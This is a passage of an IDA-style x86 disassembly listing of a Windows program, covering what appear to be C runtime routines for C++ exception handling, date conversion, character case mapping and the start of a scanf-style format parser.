arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h

loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------

loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]

loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA

loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]

loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------

loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552

loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2

loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------

loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]

loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0

loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------

loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]

loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0

loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------

loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]

loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_48B684
		nop
		call	near ptr 2820539h

loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi

loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1

loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_43BF78

loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------

loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh

loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------

loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------

loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729

loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------

loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------

loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------

loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch

loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------

loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------

loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA

loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]

loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------

loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1

loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
